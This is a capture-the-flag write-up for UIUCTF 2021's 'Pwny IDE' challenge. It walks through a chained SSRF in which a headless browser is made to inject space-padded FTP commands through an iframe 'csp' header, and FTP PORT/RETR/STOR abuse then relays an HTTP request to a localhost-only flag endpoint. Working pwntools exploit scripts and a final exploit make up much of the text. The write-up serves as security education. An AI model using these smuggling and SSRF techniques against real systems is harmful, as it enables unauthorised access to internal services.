Tags: ftp ssrf
Rating:
Pwny IDE is a good-looking advanced IDE that lets you write HTML/CSS code and watch the changes in real-time! Pretty cool right?
JS is not supported :)
This challenge was one of the unsolved challenges in UIUCTF 2021, and it was also pretty fun! The author decided to not release the solution after the contest and he also ran a bounty program ($50 to the first solver). Luckily we could solve it after the CTF and we won both the contest and the bounty!
Features of this IDE:
This IDE is beautiful!!!
When we register on the website, it assigns us a random uid, after that it creates a folder for us in file:///files
folder. It will be used to save our code.
const uid = randomBytes(16).toString("hex")
fs.mkdirSync(`/files/${uid}/`)
We can save and share our code! It will be saved in a file named file:///files/${uid}/file
and anybody can access it at http://website/workspace/${uid}
.
Some facts about this endpoint:
text/html
res.setHeader("Content-Security-Policy", "sandbox")
res.setHeader("Content-Type", "text/html; charset=UTF-8")
if (!fs.existsSync(`/files/${req.params.uid}/file`)) {
res.send(`<html>\n<head>\n <title>Test</title>\n</head>\n<body>\n <div>\n Hello World\n </div>\n</body>\n</html>`)
return
}
const data = fs.readFileSync(`/files/${req.params.uid}/file`)
res.send(data)
The FTP server is written in js and uses ftpd. It's listening on 127.0.0.1:21
so we can't access it from outside. It uses HTTP server's users for authentication and the authenticated user can view and edit files in his folder (file:///files/${user.uid
). Also, The PASV
command is disabled.
conn._command_PASV = () => {conn.respond("502 PASV mode disabled")}
Only requests from localhost with Sec-Pro-Hacker: 1
header can access the flag.
app.get(
"/ssrf",
async (req, res) => {
res.setHeader("Content-Type", "text/plain; charset=UTF-8")
if (req.socket.remoteAddress === "127.0.0.1" && req.header("Sec-Pro-Hacker") === "1")
res.send(process.env.FLAG)
else
res.send("glhf ;)")
})
We can report our codes on the website to the admin, and he ( headlessChrome/93 ) will check it out. Also, there is a check that checks if the URL matches the following regexp.
^http:\/\/pwnyide.chal.uiuc.tf\/workspace\/[a-f0-9]{32}$
An app called tcpslow is running on the server that simply forwards connections from 127.0.0.1:8021
to FTP server with a 500ms delay.
tcpslow -l 8021 -f 21 -d 500
When I started to work on this challenge, a hint was already released.
HINT: The first step is to be able to execute arbitrary FTP commands
That made me think that it should be easy to send FTP commands because they have given that hint about it and also thought that it shouldn't be hard to do that with a browser. Well, I was wrong :) it took me about 8 hours ( or more? ) to figure out how to do that.
Eventually, I started to look for things I can do with arbitrary FTP commands.
FTP servers are nice targets when we have SSRF vulnerability, Some challenges have used this concept before, like this or this and this. We have a browser, so the attack should be like chrome attacks FTPServer and FTPServer attacks HTTPServer
. When I was looking at the source code for the first time and then I saw the FTP server, I thought that it's gonna be the same PORT/PASV trick again, but the /ssrf
endpoint blew my mind. flag was in the response lol. All writeups that I have had seen have used FTP servers to launch attacks against another service. I had no idea if it was possible to read the response using FTP.
Read this.
TL;DR: Using the PORT command, we can make the FTP Server read a file and send its content to a host:port.
The following script will login and send our code ( which we have full control over it ) to HTTP Server. It first saves the payload, then it gets the uid ( name of the folder which our payload is inside it ), Then it connects to the FTP socket ( pretending SSRF ), and then it connects to 127.0.0.1:1337
and will send our payload to it.
#!/usr/bin/env python3
from pwn import *
import requests
USERNAME = "meme1337"
PASSWORD = "meme1337"
TARGET_IP = "127.0.0.1"
TARGET_PORT = 1337
PAYLOAD = """GET /ssrf HTTP/1.1\r\nHost: dddd.com\r\nSec-Pro-Hacker: 1\r\n\r\n"""
s = requests.session()
# Login to website
s.post(f"http://{TARGET_IP}:{TARGET_PORT}/login",data={"username":USERNAME,"password":PASSWORD})
# Save the payload
s.post(f"http://{TARGET_IP}:{TARGET_PORT}/save",files={"file":PAYLOAD})
SESS_ID = s.cookies.get_dict()["uid"][4:4+32]
p = remote("127.0.0.1","8021")
# Login
p.sendafter("\n",f"USER {USERNAME}\r\n")
p.sendafter("\n",f"PASS {PASSWORD}\r\n")
# Connect to 127.0.0.1:1337 - ((5 << 8) + 57) == 1337
p.sendafter("\n","PORT 127,0,0,1,5,57\r\n")
# Send the file
p.sendafter("\n",f"RETR /files/{SESS_ID}/file\r\n")
p.interactive()
I was wondering what happens if I send a STOR command right after RETR, Maybe some magics happen and the response will be written to the file ?
So i just added STOR /files/{SESS_ID}/file\r\n
right after the RETR
command.
p.sendafter("\n",f"RETR /files/{SESS_ID}/file\r\n")
p.sendafter("\n",f"STOR /files/{SESS_ID}/file\r\n")
p.interactive()
and it didn't work.
root@d3575742476c:/files/70a375e99500d557b04b34c800b04a8c# head file
GET /ssrf HTTP/1.1
Host: dddd.com
Sec-Pro-Hacker: 1
Then I tried again with sending many requests instead of one.
PAYLOAD = """GET /ssrf HTTP/1.1\r\nHost: dddd.com\r\nSec-Pro-Hacker: 1\r\n\r\n""" * 3000
It worked this time!
root@d3575742476c:/files/70a375e99500d557b04b34c800b04a8c# head file
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/plain; charset=utf-8
Content-Length: 16
ETag: W/"10-L48XoI4zhfnfpVEEjnlYZ16NdMY"
Date: Wed, 04 Aug 2021 11:19:23 GMT
Connection: keep-alive
Keep-Alive: timeout=5
uiuctf{REDACTED}HTTP/1.1 200 OK
Both RETR
and STOR
commands use the following function to get a socket to read/write.
FtpConnection.prototype._whenDataReady = function(callback) {
var self = this;
if (self.dataListener) {
// how many data connections are allowed?
// should still be listening since we created a server, right?
if (self.dataSocket) {
self._logIf(LOG.DEBUG, 'A data connection exists');
callback(self.dataSocket);
} else {
self._logIf(LOG.DEBUG, 'Currently no data connection; expecting client to connect to pasv server shortly...');
self.dataListener.once('ready', function() {
self._logIf(LOG.DEBUG, '...client has connected now');
callback(self.dataSocket);
});
}
} else {
// Do we need to open the data connection?
if (self.dataSocket) { // There really shouldn't be an existing connection
self._logIf(LOG.DEBUG, 'Using existing non-passive dataSocket');
callback(self.dataSocket);
} else {
self._initiateData(function(sock) {
callback(sock);
});
}
}
};
When we enter this function for the first time ( after sending the RETR
command ), Both self.dataListener
and self.dataSocket
are undefined, so a new socket will be created with calling self._initiateData
function. The second time we enter this function ( after sending the STOR
command ), self.dataSocket
is defined, because the RETR
command is still writing that huge data, so the STOR
command will use the same socket! Now that we know why it happens, we can replace that requests with newlines and it will still work!
PAYLOAD = """GET /ssrf HTTP/1.1\r\nHost: dddd.com\r\nSec-Pro-Hacker: 1\r\n\r\n""" + "\n" * 100000
As you can see in the above scripts, after sending each command, we wait for the server's response, and then we send the next command. We can't do that in chrome afaik ?. According to writeups and rfc354 section IV paragraph one, CRLF can be used to terminate each command, so practically it should work.
FTP commands are ASCII terminated by the ASCII character sequence CRLF (Carriage Return follow by Line Feed).
So Let's try to login
p = remote("127.0.0.1","8021")
# Login
p.sendafter("\n",f"USER {USERNAME}\r\nPASS {PASSWORD}\r\n")
p.interactive()
parrot@ps:~/pwn/pwnyIDE$ ./rem.py
[+] Opening connection to 127.0.0.1 on port 8021: Done
[*] Switching to interactive mode
530 Not logged in.
What? let's see FTP logs.
<127.0.0.1> FTP command: USER meme1337
PASS meme1337
attempt user: meme1337
PASS meme1337
<127.0.0.1> >> 530 Not logged in.
So apparently ftpd doesn't give a sh*t about rfc354 section IV paragraph one. It thinks that CRLF is part of the argument. Let's see how they handle each TCP packet's data. You can find the following function here.
FtpConnection.prototype._onData = function(data) {
var self = this;
if (self.hasQuit) {
return;
}
data = data.toString('utf-8').trim();
self._logIf(LOG.TRACE, '<< ' + data);
// Don't want to include passwords in logs.
self._logIf(LOG.INFO, 'FTP command: ' +
data.replace(/^PASS [\s\S]*$/i, 'PASS ***')
);
var command;
var commandArg;
var index = data.indexOf(' ');
if (index !== -1) {
var parts = data.split(' ');
command = parts.shift().toUpperCase();
commandArg = parts.join(' ').trim();
} else {
command = data.toUpperCase();
commandArg = '';
}
So what if we send each command in a separate packet? The maximum TCP packet size is around 64K and localhost's MTU is also around that number nowadays.
To do that, we can prefix our commands with around 65k spaces. It will work because of that trim()
in the above function.
data = data.toString('utf-8').trim();
Let's try it
p = remote("127.0.0.1","8021")
# Login
PRESPACES = " " * 66000
p.sendafter("\n",f"{PRESPACES}USER {USERNAME} {PRESPACES}PASS {PASSWORD}\r\n")
p.interactive()
parrot@ps:~/pwn/pwnyIDE$ ./rem.py
[+] Opening connection to 127.0.0.1 on port 8021: Done
[*] Switching to interactive mode
502 Command not implemented.
331 User name okay, need password.
230 User logged in, proceed.
Worked!
This was my favorite part of
The headlessChrome only visits URLs that match the following regexp.
^http:\/\/pwnyide.chal.uiuc.tf\/workspace\/[a-f0-9]{32}$
Good news is that admin visits a page in which we can put arbitrary HTML inside it, Bad news is that the page is protected by a strict CSP.
Content-Security-Policy: sandbox
You can read more about it here. Basically, these two limitations make things complicated:
We have to send a very long text with whitespaces and alphanumeric chars inside it to the FTP server without using JS. What an awesome challenge!
I first tried the official implementation and It was not even working with short payloads lol. Then i found this blog. Since I didn't know anything about TLS stuff, I just ran the commands in readme ? and it didn't work either with large(>100k) payloads.
My friend renwa found this bug, Basically the bug is that the dots are not escaped.
if (!/^http:\/\/pwnyide.chal.uiuc.tf\/workspace\/[a-f0-9]{32}$/.test(req.body.url)) {
So we can just buy a .tf domain with 6.49andearn50 bounty from admin?
It was unintended btw
This was my most promising failed attempt. You can read more about report-uri here. Basically Mr.chrome puts the whole CSP in the report HTTP request, so we can put some strings after the CSP and it will be sent along with the report request to the target.
const express = require('express');
const app = express();
const port = 3000;
app.get('/', (req, res) => {
res.setHeader("Content-Security-Policy","script-src 'none'; report-uri http://localhost:9000/;"+"OH".repeat(50));
res.send('<script>LOL</script>');
})
app.listen(port, () => {})
parrot@ps:~$ nc -lvnp 9000
Listening on 0.0.0.0 9000
Connection received on 127.0.0.1 57642
POST / HTTP/1.1
Host: localhost:9000
Connection: keep-alive
Content-Length: 462
sec-ch-ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Content-Type: application/csp-report
Accept: */*
Origin: http://localhost:3000
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: report
Referer: http://localhost:3000/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
{"csp-report":{"document-uri":"http://localhost:3000/","referrer":"","violated-directive":"script-src-elem","effective-directive":"script-src-elem","original-policy":"script-src 'none'; report-uri http://localhost:9000/;OHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOH","disposition":"enforce","blocked-uri":"inline","line-number":1,"source-file":"http://localhost:3000/","status-code":200,"script-sample":""}}
But we are limited to 65k again Because of these limitations ?
While I was testing my failed attempts again, this attribute came to my mind. You can read more about it here. Basically, it will be placed in a request header called Sec-Required-CSP
.
<body><iframe src="http://localhost:4000/" csp="LMAOLMAOLMAOLMAOLMAOLMAOLMAOLMAOLMAOLMAO"></iframe></body>
parrot@ps:~$ nc -lvnp 4000
Listening on 0.0.0.0 4000
Connection received on 127.0.0.1 52802
GET / HTTP/1.1
Host: localhost:4000
Connection: keep-alive
sec-ch-ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Sec-Required-CSP: LMAOLMAOLMAOLMAOLMAOLMAOLMAOLMAOLMAOLMAO
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: iframe
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
And the mind-blowing thing is that there is no strict length/syntax check?! Although it has some problems with some characters like commas in the policy But we can easily send long payloads inside it.
Finally, we can execute arbitrary FTP commands! I replaced the PORT
command with EPRT since it was acting weird in CSP.
Cleaned Final exploit.
#!/usr/bin/env python3
from pwn import *
import requests
#Register with these creds manually
account1 = "meme1337"
account2 = "meme13371337"
TARGET_IP = "127.0.0.1"
TARGET_PORT = 1337
PAYLOAD = """GET /ssrf HTTP/1.1\r\nHost: dddd.com\r\nSec-Pro-Hacker: 1\r\n\r\n""" + "\n" * 100000
def saveFile(username,passwd,content):
s = requests.session()
# Login to website
s.post(f"http://{TARGET_IP}:{TARGET_PORT}/login",data={"username":username,"password":passwd})
# Save the payload
s.post(f"http://{TARGET_IP}:{TARGET_PORT}/save",files={"file":content})
return s.cookies.get_dict()["uid"][4:4+32]
def pref(u):
return(u+" "*66000)
UID = saveFile(account1,account1,PAYLOAD)
c = ""
c+= pref("START")
c+= pref(f"USER {account1}")
c+= pref(f"PASS {account1}")
c+= pref("EPRT |1|127.0.0.1|1337")
c+= pref(f"RETR /files/{UID}/file")
c+= pref(f"STOR /files/{UID}/file")
c+= pref("END")
c = f"<iframe src='http://localhost:8021' csp=';{c}'></iframe>"
UID = saveFile(account2,account2,c)
print(f"http://{TARGET_IP}:{TARGET_PORT}/workspace/{UID}")
Solved!
uiuctf{i_h0p3_th4t_waS_a_fUn_ch4In_75d997b}
Shout-out to my teammates, organizers, and especially arxenix for creating this challenge.